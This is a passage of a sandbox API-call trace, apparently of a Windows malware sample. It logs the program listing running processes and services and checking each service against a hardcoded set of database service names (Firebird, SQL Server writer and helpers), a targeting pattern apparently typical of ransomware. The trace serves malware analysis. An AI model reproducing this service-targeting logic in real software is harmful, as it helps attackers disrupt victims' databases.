(lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.755] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0292.755] lstrlenW (lpString="Spooler") returned 7 [0292.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0292.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0292.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0292.755] lstrlenW (lpString="SSDPSRV") returned 7 [0292.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0292.755] lstrlenW (lpString="StateRepository") returned 15 [0292.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0292.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0292.755] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0292.755] lstrlenW (lpString="SysMain") returned 7 [0292.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0292.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0292.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0292.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0292.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0292.756] lstrlenW (lpString="SystemEventsBroker") returned 18 [0292.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0292.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0292.756] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4568fb8 | out: hHeap=0x6e0000) returned 1 [0292.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b8 [0292.760] Process32FirstW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.760] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.761] lstrlenW (lpString="System") returned 6 [0292.761] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.762] lstrlenW (lpString="smss.exe") returned 8 [0292.762] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.762] lstrlenW (lpString="csrss.exe") returned 9 [0292.762] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.763] lstrlenW (lpString="wininit.exe") returned 11 [0292.763] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.764] lstrlenW (lpString="csrss.exe") returned 9 [0292.764] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.771] lstrlenW (lpString="winlogon.exe") returned 12 [0292.771] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.772] lstrlenW (lpString="services.exe") returned 12 [0292.772] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.773] lstrlenW (lpString="lsass.exe") returned 9 [0292.773] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.773] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.774] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.774] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.774] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.775] lstrlenW (lpString="svchost.exe") returned 11 [0292.775] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.776] lstrlenW (lpString="svchost.exe") returned 11 [0292.776] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.777] lstrlenW (lpString="dwm.exe") returned 7 [0292.777] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.778] lstrlenW (lpString="svchost.exe") returned 11 [0292.778] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.778] lstrlenW (lpString="svchost.exe") returned 11 [0292.778] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.779] lstrlenW (lpString="svchost.exe") returned 11 [0292.779] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.780] lstrlenW (lpString="svchost.exe") returned 11 [0292.780] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.781] lstrlenW (lpString="svchost.exe") returned 11 [0292.781] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.781] lstrlenW (lpString="svchost.exe") returned 11 [0292.782] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.788] lstrlenW (lpString="svchost.exe") returned 11 [0292.788] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.789] lstrlenW (lpString="svchost.exe") returned 11 [0292.789] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.790] lstrlenW (lpString="svchost.exe") returned 11 [0292.790] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.791] lstrlenW (lpString="svchost.exe") returned 11 [0292.791] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.791] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.791] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.795] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.796] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.796] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0292.796] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.797] lstrlenW (lpString="Memory Compression") returned 18 [0292.797] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.798] lstrlenW (lpString="svchost.exe") returned 11 [0292.798] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.798] lstrlenW (lpString="audiodg.exe") returned 11 [0292.798] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.799] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0292.799] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.800] lstrlenW (lpString="sihost.exe") returned 10 [0292.800] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.800] lstrlenW (lpString="svchost.exe") returned 11 [0292.800] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.801] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.801] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0292.802] lstrlenW (lpString="msoia.exe") returned 9 [0292.802] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.803] lstrlenW (lpString="explorer.exe") returned 12 [0292.803] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.804] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.804] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.804] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.805] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.805] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.805] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0292.807] lstrlenW (lpString="1csrss.exe") returned 10 [0292.807] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.808] lstrlenW (lpString="svchost.exe") returned 11 [0292.808] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0292.809] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0292.809] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0292.809] CloseHandle (hObject=0x4b8) returned 1 [0292.809] Sleep (dwMilliseconds=0x1f4) [0293.323] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddf70 [0293.381] EnumServicesStatusExW (in: hSCManager=0x7ddf70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0293.381] GetLastError () returned 0xea [0293.381] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x4568fb8 [0293.381] EnumServicesStatusExW (in: hSCManager=0x7ddf70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4568fb8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4568fb8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0293.382] CloseServiceHandle (hSCObject=0x7ddf70) returned 1 [0293.382] lstrlenW (lpString="AppXSvc") returned 7 [0293.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0293.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0293.382] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0293.382] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0293.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0293.382] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0293.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0293.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0293.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0293.383] lstrlenW (lpString="Audiosrv") returned 8 [0293.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0293.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0293.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0293.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0293.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0293.383] lstrlenW (lpString="BFE") returned 3 [0293.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0293.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0293.383] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0293.383] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0293.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0293.383] lstrlenW (lpString="BITS") returned 4 [0293.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0293.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0293.383] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0293.383] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0293.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0293.383] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0293.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.385] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0293.385] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0293.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0293.385] lstrlenW (lpString="CDPSvc") returned 6 [0293.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0293.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0293.385] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0293.385] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0293.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0293.386] lstrlenW (lpString="ClickToRunSvc") returned 13 [0293.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.386] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0293.386] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0293.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0293.386] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0293.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0293.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0293.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0293.386] lstrlenW (lpString="CryptSvc") returned 8 [0293.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0293.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0293.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0293.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0293.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0293.386] lstrlenW (lpString="DcomLaunch") returned 10 [0293.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0293.386] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0293.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0293.386] lstrlenW (lpString="DeviceAssociationService") returned 24 [0293.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0293.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0293.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0293.387] lstrlenW (lpString="Dhcp") returned 4 [0293.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0293.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0293.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0293.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0293.387] lstrcmpiW 